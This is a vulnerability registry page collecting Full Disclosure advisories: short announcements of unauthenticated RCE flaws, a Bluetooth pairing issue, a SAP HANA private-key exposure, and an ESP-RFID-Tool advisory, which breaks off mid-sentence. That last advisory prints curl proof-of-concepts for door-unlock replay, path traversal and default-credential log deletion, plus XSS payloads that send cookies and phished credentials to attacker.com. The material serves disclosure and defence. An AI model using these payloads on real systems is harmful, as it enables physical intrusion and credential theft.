- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
581 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0309
Vulnerability from gna-1988 – Published: 2026-09-08 18:02 – Updated: 2026-09-08 18:02
VLAI
EPSS
VEX
Title
[0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded credentials leading to OS command execution (9.8)
Summary
TO: fulldisclosure () seclists org
SUBJECT: [0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded
credentials leading to OS command execution (9.8)
FROM: disclosure () 0day-rubbish com
----BODY----
0day Rubbish Research Team is publicly disclosing a vulnerability in
Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6).
Type: Unauthenticated SOAP with hard-coded credentials leading to OS command execution (CWE-306)
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Impact: unauthenticated OS command execution inside the integration container via hard-coded database credentials
Authentication: unauthenticated
Full technical analysis and a reproducible proof-of-concept:
https://0day-rubbish.com/blog/jitterbit-agent-unauth-soap-copy-to-program-rce
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
Vendor has been notified. CVE ID is pending.
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Jitterbit Agent |
Affected:
unknown
|
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GCVE-1988-2026-0308
Vulnerability from gna-1988 – Published: 2026-09-08 18:02 – Updated: 2026-09-08 18:02
VLAI
EPSS
VEX
Title
[0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading to JNDI remote class loading (9.8)
Summary
TO: fulldisclosure () seclists org
SUBJECT: [0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading
to JNDI remote class loading (9.8)
FROM: disclosure () 0day-rubbish com
----BODY----
0day Rubbish Research Team is publicly disclosing a vulnerability in
Accurate Online Private Cloud on-prem (current).
Type: Unauthenticated Hessian deserialization leading to JNDI remote class loading (CWE-502)
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Impact: unauthenticated remote code execution as the Administrator account running the application server
Authentication: unauthenticated
Full technical analysis and a reproducible proof-of-concept:
https://0day-rubbish.com/blog/accurate-online-private-cloud-unauth-hessian-jndi-rce
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
Vendor has been notified. CVE ID is pending.
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Accurate Online Private |
Affected:
unknown
|
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GCVE-1988-2026-0307
Vulnerability from gna-1988 – Published: 2026-09-08 18:02 – Updated: 2026-09-08 18:02
VLAI
EPSS
VEX
Title
[0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)
Summary
TO: fulldisclosure () seclists org
SUBJECT: [0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)
FROM: disclosure () 0day-rubbish com
----BODY----
0day Rubbish Research Team is publicly disclosing a vulnerability in
DBxtra .NET 13.1.1.0.
Type: Unauthenticated SOAP API to xp_cmdshell code execution (CWE-306)
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Impact: unauthenticated remote code execution as the SQL Server service account on the BI host (web tier runs as
LocalSystem)
Authentication: unauthenticated
Full technical analysis and a reproducible proof-of-concept:
https://0day-rubbish.com/blog/dbxtra-unauth-soap-xp-cmdshell-rce
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
Vendor has been notified. CVE ID is pending.
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | DBxtra .NET |
Affected:
unknown
|
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GCVE-1988-2026-0282
Vulnerability from gna-1988 – Published: 2026-09-08 11:24 – Updated: 2026-09-08 11:24
VLAI
EPSS
VEX
Title
Skullcandy Dime 3 unauthorized Bluetooth pairing behavior
Summary
Hello,
I am submitting the following security disclosure for publication on the
Full Disclosure mailing list.
Title: Pairing Without Consent: CVE-2025-20701 Behavior on Skullcandy Dime 3
Affected product:
Skullcandy Dime 3 wireless earbuds
Vulnerability:
Unauthorized Bluetooth Classic pairing and persistent bond creation
Description:
Testing demonstrated that a previously unknown Linux computer could pair
with a Skullcandy Dime 3 earbud set and store a persistent Bluetooth bond
without the earbuds being intentionally placed into pairing mode.
No confirmation or physical interaction with the earbuds was required
during the pairing process.
The observed behavior is consistent with CVE-2025-20701.
Security impact:
A nearby attacker within Bluetooth range may be able to establish an
unauthorized trusted relationship with the earbuds. The stored bond could
allow subsequent connections from the unauthorized device and potentially
interfere with the legitimate user’s Bluetooth connection.
Evidence:
The public research repository includes:
- A detailed technical report
- Reproduction information
- Screenshots
- A sanitized BTSnoop capture
- A packet-level description of the pairing sequence
Repository:
https://github.com/x0jac0b0x/skullcandy-dime3-cve-2025-20701
The published BTSnoop capture preserves the pairing and connection
sequence. The 16-byte BR/EDR link key was replaced with zero bytes before
publication. The original, unmodified capture has been retained privately.
This research was conducted on hardware I own and is being published for
defensive research, independent verification, and vendor awareness.
Regards,
Jacob Nowak
Independent Security Researcher
GitHub: https://github.com/x0jac0b0x
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Skullcandy Dime 3 |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0282 (this record)
- related CVE-2025-20701
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GCVE-1988-2026-0275
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
SEC Consult SA-20260415-0 :: Exposed Private Key of X.509 Certificate in SAP HANA Cockpit & SAP HANA Database Explorer
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260415-0 >
=======================================================================
title: Exposed Private Key of X.509 Certificate
product: SAP HANA Cockpit & SAP HANA Database Explorer
vulnerable version: HANA Cockpit <2.18.2 (HRTT <2.16.254002)
fixed version: HANA Cockpit 2.18.2 (HRTT 2.16.254002)
CVE number: CVE-2026-34262
impact: high
homepage:https://www.sap.com/
found: 2025-04-24
by: Ben Samtleben (Office Berlin)
Bernd Kaufmann (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"SAP is one of the world’s leading producers of software for the management
of business processes."
Source:https://www.sap.com/about/what-is-sap.html
"SAP HANA cockpit is the main administration tool for SAP HANA. The SAP HANA
cockpit provides tools for the administration and monitoring of SAP HANA
databases (databases), and for development capabilities through the SAP
HANA database explorer."
Source:https://help.sap.com/docs/SAP_HANA_COCKPIT/df02d156db744412ad1f9e887aba68ad/ab5d442cc8a340fea07c15ef6f8eb537.html
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately, see
SAP Security Note 3730639 (https://me.sap.com/notes/3730639.
This patch does not completely mitigate the risk that the private keys were
obtained by an attacker in the past. Therefore, SEC Consult strongly
recommends rotating the affected X.509 certificates and corresponding private
keys - even if this is currently not mentioned in the SAP Security Note.
SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.
Vulnerability overview/description:
-----------------------------------
1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)
SAP HANA Cockpit users with access to the Database Explorer can obtain the
X.509 certificate issued to the application server and its corresponding
private key. This information can be used to impersonate the application server
on network level, allowing an attacker to obtain user credentials or other sensitive
data. The issue arises if mutual TLS (mTLS) is configured for communication with the SAP HANA database.
Proof of concept:
-----------------
1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)
When accessing the Database Explorer via the SAP HANA Cockpit, the following
HTTP request is sent to the HRTT service in the background:
GET /hrtt-service/sap/hana/cst/api/v2/databases HTTP/1.1
Host: hana-cockpit-web-app.example.org:31033
Cookie: JSESSIONID=[...]
[...]
The server response contains a list of all available databases.
{
"__count": 6,
"d": {
"results": [
{
"__metadata": {
"uri": "/sap/hana/cst/api/v2/databases('C123456789')",
"type": "database.Database"
},
"id": "C123456789",
"group_id": 0,
"catalog_name": "SID@SID",
"type": "COCKPIT_RESOURCE",
"disabled": false,
"has_login": false,
"cockpit_resource_id": 123456789,
"database_product_name": "HANA",
"options": {
"schema_filter": "[]"
},
"set_xs_applicationuser": true,
"hdl_support_sof": false
},
// [... more entries here...]
]
}
}
However, the response can vary - most likely depending on other HTTP requests
that have been sent. A more verbose response can be triggered by manually
interacting with the Database Explorer and then repeating the request.
(No database credentials are needed.) Then, the following information is returned:
{
"__count": 6,
"d": {
"results": [
{
"__metadata": {
"uri": "/sap/hana/cst/api/v2/databases('C123456789')",
"type": "database.Database"
},
"id": "C123456789",
"group_id": 0,
"catalog_name": "SID@SID",
"type": "COCKPIT_RESOURCE",
"disabled": false,
"has_login": false,
"cockpit_resource_id": 123456789,
"database_product_name": "HANA",
"cockpit_resource_name": "SID@SID",
"options": {
"hosts": [
{
"host": "isidhdb01.example.org",
"port": "31013"
}
],
"databaseName": "SID",
"encrypt": true,
"ca": [
"-----BEGIN CERTIFICATE-----\nMII[... certificate removed ...]zg==\n-----END
CERTIFICATE-----\n",
"-----BEGIN CERTIFICATE-----\nMII[... certificate removed ...]c4=\n-----END CERTIFICATE-----\n",
],
"sslValidateCertificate": true,
"key": [
"-----BEGIN PRIVATE KEY-----MII[... private key removed ...]8tQ==-----END PRIVATE KEY-----"
],
"cert": [
"-----BEGIN CERTIFICATE-----MII[... certificate removed ...]QHvC-----END CERTIFICATE----------BEGIN
CERTIFICATE-----MII[...]yotP-----END CERTIFICATE-----"
],
"schema_filter": "[]"
},
"set_xs_applicationuser": true,
"hdl_support_sof": false
}
// [... more entries here...]
]
}
}
The HTTP response does not only leak additional metadata, but most importantly an X.509
certificate chain and the private key of the leaf certificate. This certificate is issued
to the application server hosting the SAP HANA Cockpit, not to the database server.
The vulnerability can be reproduced with the Cockpit Administrator and the Cockpit User role,
so it does not require administrative privileges.
Vulnerable / tested versions:
-----------------------------
The following versions are affected:
* SAP HANA Cockpit versions prior to 2.18.2 (SAP HANA Runtime Tools prior to 2.16.254002)
Vendor contact timeline:
------------------------
2025-07-01: Contacting vendor through vulnerability submission web form, receiving
automatic confirmation.
2025-10-13: Recontacting vendor via email after no response.
2025-10-17: Vendor responds, declaring the issue "resolved" by Aug 30 without
further details.
2025-10-29: Inquiring about assigned CVE or SAP Security Note.
2025-11-12: Sending reminder after no response.
2025-11-28: Sending another reminder, still no response.
2025-12-03: Vendor responds with the version containing the patch; states that
no CVE will be assigned.
2025-12-05: Contacting vendor, emphasizing that SAP Security Note and CVE are
essential to inform customers and make them rotate their certificates.
2025-12-10: Vendor responds, requesting time to clarify with internal stakeholders.
2026-02-11: Contacting the vendor again, asking for any updates.
2026-02-12: Vendor responds, reiterating patched version, no mention of SAP Security
Note or CVE.
2026-02-12: Reminding vendor of importance of notifying affected customers due to
required certificate rotation.
2026-02-25: Contacting MITRE regarding CVE assignment dispute.
2026-02-27: Vendor agrees to issuing SAP Security Note and asks to wait with public disclosure.
2026-04-14: SAP Security Note 3730639 (CVE-2026-34262) is published by the vendor.
2026-04-15: Public release of advisory
Solution:
---------
According to SAP, the vulnerability was fixed in SAP HANA Cockpit version 2.18.2 (HRTT version 2.16.254002).
For information on the available patch, please see SAP Security Note 3730639 (https://me.sap.com/notes/3730639).
However, this does not completely mitigate the risk that the private keys were
obtained by an attacker in the past. Therefore, SEC Consult strongly recommends
rotating the affected X.509 certificates and corresponding private keys -
even if this is currently not mentioned in the SAP Security Note.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Ben Samtleben, Bernd Kaufmann / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | SEC Consult SA-20260415-0 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0275 (this record)
- related CVE-2026-34262
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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260415-0 \u003e\n=======================================================================\n title: Exposed Private Key of X.509 Certificate\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: SAP HANA Cockpit \u0026 SAP HANA Database Explorer\n vulnerable version: HANA Cockpit \u003c2.18.2 (HRTT \u003c2.16.254002)\n\u00a0 \u00a0 \u00a0 fixed version: HANA Cockpit 2.18.2 (HRTT 2.16.254002)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-34262\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://www.sap.com/\n found: 2025-04-24\n by: Ben Samtleben (Office Berlin)\n Bernd Kaufmann (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"SAP is one of the world\u2019s leading producers of software for the management\nof business processes.\"\n\nSource:https://www.sap.com/about/what-is-sap.html\n\n\"SAP HANA cockpit is the main administration tool for SAP HANA. The SAP HANA\ncockpit provides tools for the administration and monitoring of SAP HANA\ndatabases (databases), and for development capabilities through the SAP\nHANA database explorer.\"\n\nSource:https://help.sap.com/docs/SAP_HANA_COCKPIT/df02d156db744412ad1f9e887aba68ad/ab5d442cc8a340fea07c15ef6f8eb537.html\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately, see\nSAP Security Note 3730639 (https://me.sap.com/notes/3730639.\n\nThis patch does not completely mitigate the risk that the private keys were\nobtained by an attacker in the past. Therefore, SEC Consult strongly\nrecommends rotating the affected X.509 certificates and corresponding private\nkeys - even if this is currently not mentioned in the SAP Security Note.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)\nSAP HANA Cockpit users with access to the Database Explorer can obtain the\nX.509 certificate issued to the application server and its corresponding\nprivate key. This information can be used to impersonate the application server\non network level, allowing an attacker to obtain user credentials or other sensitive\ndata. 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A more verbose response can be triggered by manually\ninteracting with the Database Explorer and then repeating the request.\n(No database credentials are needed.) Then, the following information is returned:\n\n{\n \"__count\": 6,\n \"d\": {\n \"results\": [\n {\n \"__metadata\": {\n \"uri\": \"/sap/hana/cst/api/v2/databases(\u0027C123456789\u0027)\",\n \"type\": \"database.Database\"\n },\n \"id\": \"C123456789\",\n \"group_id\": 0,\n \"catalog_name\": \"SID@SID\",\n \"type\": \"COCKPIT_RESOURCE\",\n \"disabled\": false,\n \"has_login\": false,\n \"cockpit_resource_id\": 123456789,\n \"database_product_name\": \"HANA\",\n \"cockpit_resource_name\": \"SID@SID\",\n \"options\": {\n \"hosts\": [\n {\n \"host\": \"isidhdb01.example.org\",\n \"port\": \"31013\"\n }\n ],\n \"databaseName\": \"SID\",\n \"encrypt\": true,\n \"ca\": [\n \"-----BEGIN CERTIFICATE-----\\nMII[... certificate removed ...]zg==\\n-----END \nCERTIFICATE-----\\n\",\n \"-----BEGIN CERTIFICATE-----\\nMII[... certificate removed ...]c4=\\n-----END CERTIFICATE-----\\n\",\n ],\n \"sslValidateCertificate\": true,\n \"key\": [\n \"-----BEGIN PRIVATE KEY-----MII[... private key removed ...]8tQ==-----END PRIVATE KEY-----\"\n ],\n \"cert\": [\n \"-----BEGIN CERTIFICATE-----MII[... certificate removed ...]QHvC-----END CERTIFICATE----------BEGIN \nCERTIFICATE-----MII[...]yotP-----END CERTIFICATE-----\"\n ],\n \"schema_filter\": \"[]\"\n },\n \"set_xs_applicationuser\": true,\n \"hdl_support_sof\": false\n }\n // [... more entries here...]\n ]\n }\n}\n\nThe HTTP response does not only leak additional metadata, but most importantly an X.509\ncertificate chain and the private key of the leaf certificate. This certificate is issued\nto the application server hosting the SAP HANA Cockpit, not to the database server.\n\nThe vulnerability can be reproduced with the Cockpit Administrator and the Cockpit User role,\nso it does not require administrative privileges.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following versions are affected:\n* SAP HANA Cockpit versions prior to 2.18.2 (SAP HANA Runtime Tools prior to 2.16.254002)\n\n\nVendor contact timeline:\n------------------------\n2025-07-01: Contacting vendor through vulnerability submission web form, receiving\n automatic confirmation.\n2025-10-13: Recontacting vendor via email after no response.\n2025-10-17: Vendor responds, declaring the issue \"resolved\" by Aug 30 without\n further details.\n2025-10-29: Inquiring about assigned CVE or SAP Security Note.\n2025-11-12: Sending reminder after no response.\n2025-11-28: Sending another reminder, still no response.\n2025-12-03: Vendor responds with the version containing the patch; states that\n no CVE will be assigned.\n2025-12-05: Contacting vendor, emphasizing that SAP Security Note and CVE are\n essential to inform customers and make them rotate their certificates.\n2025-12-10: Vendor responds, requesting time to clarify with internal stakeholders.\n2026-02-11: Contacting the vendor again, asking for any updates.\n2026-02-12: Vendor responds, reiterating patched version, no mention of SAP Security\n Note or CVE.\n2026-02-12: Reminding vendor of importance of notifying affected customers due to\n required certificate rotation.\n2026-02-25: Contacting MITRE regarding CVE assignment dispute.\n2026-02-27: Vendor agrees to issuing SAP Security Note and asks to wait with public disclosure.\n2026-04-14: SAP Security Note 3730639 (CVE-2026-34262) is published by the vendor.\n2026-04-15: Public release of advisory\n\n\nSolution:\n---------\nAccording to SAP, the vulnerability was fixed in SAP HANA Cockpit version 2.18.2 (HRTT version 2.16.254002).\nFor information on the available patch, please see SAP Security Note 3730639 (https://me.sap.com/notes/3730639).\n\nHowever, this does not completely mitigate the risk that the private keys were\nobtained by an attacker in the past. Therefore, SEC Consult strongly recommends\nrotating the affected X.509 certificates and corresponding private keys -\neven if this is currently not mentioned in the SAP Security Note.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Ben Samtleben, Bernd Kaufmann / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0272
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
ESP-RFID-Tool v2 PRO — Full Public Disclosure
Summary
# Security Advisory: ESP-RFID-Tool v2 PRO
**Product:** ESP-RFID-Tool v2 PRO
**Vendor:** Raik Schneider (Einstein2150), foto-video-it.de
**Repository:** https://github.com/Einstein2150/ESP-RFID-Tool-v2
**Affected Version:** v2.2.1 (latest as of 2026-04-28)
**Severity:** CRITICAL
**Disclosure Type:** Full Public Disclosure
**Disclosure Date:** 2026-04-28
**Researcher:** Milan 't4c' Berger
---
## Disclosure Timeline
| Date | Event |
|------|-------|
| 2026-04-26 | Vulnerabilities discovered during code review |
| 2026-04-27 | Researcher posted responsible disclosure comment on his
advertisement on Youtube (GitHub issues disabled by vendor) |
| 2026-04-28 | Vendor deleted the disclosure comment without response |
| 2026-04-28 | Researcher posted responsible disclosure comment again on
his advertisement on Youtube (GitHub issues disabled by vendor) |
| 2026-04-28 | Vendor deleted the disclosure comment without response |
| 2026-04-28 | Researcher attempted contact via additional social media
channels |
| 2026-04-28 | Vendor blocked researcher on all contacted channels; no
acknowledgment given |
| 2026-04-28 | Full public disclosure — 48h contact window exhausted,
vendor uncooperative |
---
## Summary
The ESP-RFID-Tool v2 PRO is a commercial hardware/firmware product sold by
Raik Schneider targeting security researchers and red team operators. It is
based on an ESP8266 microcontroller and provides a web interface for
logging, replaying, and analyzing Wiegand RFID data from physical access
control systems.
Multiple critical security vulnerabilities were identified in firmware
v2.2.1. The most severe findings allow any unauthenticated attacker with
network access to: replay captured RFID credentials against physical door
locks, read the complete device configuration including plaintext
passwords, and permanently destroy all captured evidence — all without
authentication.
Note: A full practical verification of all exploits involving physical
signal transmission could not be performed as no Wiegand access terminal
was available during testing.
The vendor was notified through all available channels. All notifications
were deleted, and the researcher was blocked. Full disclosure follows.
---
## Vulnerability Summary
| ID | Severity | Title |
|----|----------|-------|
| ESPR-01 | **CRITICAL** | Unauthenticated Wiegand TX — Physical Access
Control Bypass |
| ESPR-02 | **MEDIUM** | Log Deletion via Default Credentials (Auth
present, but trivially bypassed) |
| ESPR-03 | **CRITICAL** | Path Traversal — Arbitrary SPIFFS File Read |
| ESPR-04 | **HIGH** | Reflected Cross-Site Scripting (XSS) |
| ESPR-05 | **HIGH** | Stored XSS via Log Injection |
| ESPR-06 | **HIGH** | Hardcoded Default Credentials |
| ESPR-07 | **HIGH** | Unauthenticated Log View + Filesystem Enumeration |
| ESPR-08 | **MEDIUM** | No CSRF Protection — Entire Application |
| ESPR-09 | **MEDIUM** | Plaintext FTP Server |
| ESPR-10 | **MEDIUM** | Missing Security Response Headers |
| ESPR-11 | **MEDIUM** | No Input Validation on Integer Parameters |
| ESPR-12 | **LOW** | Predictable AP SSID — Device Fingerprinting |
| ESPR-13 | **INFO** | Captive Portal Mode Widens Attack Surface |
---
## Detailed Findings
---
### ESPR-01 — Unauthenticated Wiegand TX: Physical Access Control Bypass
**Severity:** CRITICAL
**File:** `api_server.cpp`
**Endpoints:** `/api/tx/bin`, `/api/txinstant/bin`, `/api/wiegandencode`
**Description:**
All Wiegand transmission API endpoints execute hardware TX operations
without any authentication check. Any attacker on the same network can
replay arbitrary Wiegand bitstreams to downstream access control hardware —
unlocking physical doors, gates, or secured areas — with a single
unauthenticated HTTP GET request.
**Vulnerable Code:**
```cpp
server.on("/api/tx/bin", []() {
// ...
// No server.authenticate() call
apiTX(api_binary, api_pulsewidth, api_datainterval, api_wait);
});
```
**Proof of Concept:**
```bash
# Replay a captured 26-bit HID card to open a door
curl "
http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001&pulsewidth=40&interval=2000
"
# Re-encode a known UID and transmit
curl "http://192.168.1.1/api/wiegandencode?uid=DEADBEEF&format=26";
# Instant transmission (no response wait)
curl "http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001
"
```
**Impact:**
Physical security bypass. An attacker who previously captured a card UID
(e.g. via ESPR-07) can immediately replay it to open the corresponding door
— all from an unauthenticated HTTP request. This completely undermines the
device's operational security model.
---
### ESPR-02 — Log Deletion via Default Credentials
**Severity:** MEDIUM
**File:** `esprfidtool.ino`
**Endpoints:** `/deletelog`, `/deletelog/yes`
**Description:**
`/deletelog/yes` requires HTTP Basic Authentication. However, the default
credentials (`admin:rfidtool`) are hardcoded and publicly known via the
open-source repository. Combined with ESPR-06, any attacker with knowledge
of the default credentials can permanently delete all captured RFID logs.
`/deletelog` (the confirmation page) has **no authentication**, which also
makes it a direct XSS vector (see ESPR-04).
**Note:** Live testing confirmed `/deletelog/yes` returns HTTP 401 without
credentials. This finding was initially rated CRITICAL based on static code
analysis of an earlier version; auth is present in the tested build.
**Vulnerable Code:**
```cpp
server.on("/deletelog/yes", [](){
if(!server.authenticate(update_username, update_password))
return server.requestAuthentication();
// Auth present — but default credentials are public (admin:rfidtool)
SPIFFS.remove(deletelog);
});
```
**Proof of Concept:**
```bash
# Delete log using publicly known default credentials
curl -u admin:rfidtool "http://192.168.1.1/deletelog/yes?payload=/log.txt";
```
**Impact:**
Any attacker who knows the default credentials (publicly available) can
permanently destroy all captured evidence. Severity is driven by ESPR-06
(hardcoded defaults) — fixing one without the other provides no real
protection.
---
### ESPR-03 — Path Traversal: Arbitrary SPIFFS File Read
**Severity:** CRITICAL
**File:** `esprfidtool.ino` — `ViewLog()`
**Description:**
The `payload` parameter is passed directly to `SPIFFS.open()` without any
path validation or sanitization. An unauthenticated attacker can read any
file stored in the device's SPIFFS filesystem, including configuration
files containing plaintext credentials.
**Vulnerable Code:**
```cpp
void ViewLog(){
String payload;
payload += server.arg(0); // raw URL arg, no sanitization
File f = SPIFFS.open(payload, "r");
// outputs file content directly to browser
}
```
**Proof of Concept:**
```bash
# Note: server.arg(0) reads the FIRST URL argument by position, not by name.
# The correct syntax is ?<filename>, not ?payload=<filename>
# Read device configuration (contains credentials in plaintext)
curl "http://192.168.1.1/viewlog?/esprfidtool.json";
# Read log files (enumerate first via /api/listlogs)
curl "http://192.168.1.1/viewlog?/log.txt";
# List all available filenames first
curl "http://192.168.1.1/api/listlogs";
```
**Note:** The endpoint only returns content if the file exists on SPIFFS.
The config file `/esprfidtool.json` is filtered from `ListLogs()` output
but is NOT
filtered in `ViewLog()`, making it directly readable via this endpoint.
**Example Response:**
```json
{
"ssid": "HomeNetwork",
"password": "mysecretwifi",
"update_username": "admin",
"update_password": "rfidtool",
"ftp_username": "ftp-admin",
"ftp_password": "rfidtool"
}
```
**Impact:**
Full information disclosure. WiFi credentials, admin passwords, FTP
credentials, and all captured RFID card data (UIDs, bitstreams) are exposed
to any unauthenticated attacker.
---
### ESPR-04 — Reflected Cross-Site Scripting (XSS)
**Severity:** HIGH
**File:** `esprfidtool.ino` — `DeleteLog()`
**Endpoint:** `GET /deletelog`
**Description:**
The `payload` URL parameter is reflected directly into the HTML response
body without sanitization or HTML encoding. An attacker can inject
arbitrary JavaScript that executes in the victim's browser.
**Vulnerable Code:**
```cpp
// server.arg("payload") embedded directly into HTML — no htmlEncode()
server.send(200, "text/html", "... Deleting: " + payload + " ...");
```
**Proof of Concept:**
```
# Basic alert PoC
http://192.168.1.1/deletelog?payload=<script>alert('Sag Danke')</script>
# Cookie exfiltration
http://192.168.1.1/deletelog?payload=<script>document.location='
http://attacker.com/?c='+document.cookie
<http://attacker.com/?c=%27+document.cookie></script>
# Credential phishing overlay (effective in captive portal context)
http://192.168.1.1/deletelog?payload=<script>document.body.innerHTML='<form
action="http://attacker.com/steal";><input name="u"
placeholder="Username"><input name="p" type="password"
placeholder="Password"><input type="submit"></form>'</script>
```
**Impact:**
Session hijacking, credential theft, UI redressing. Severity is elevated
because the device operates as a captive portal — victims auto-connect and
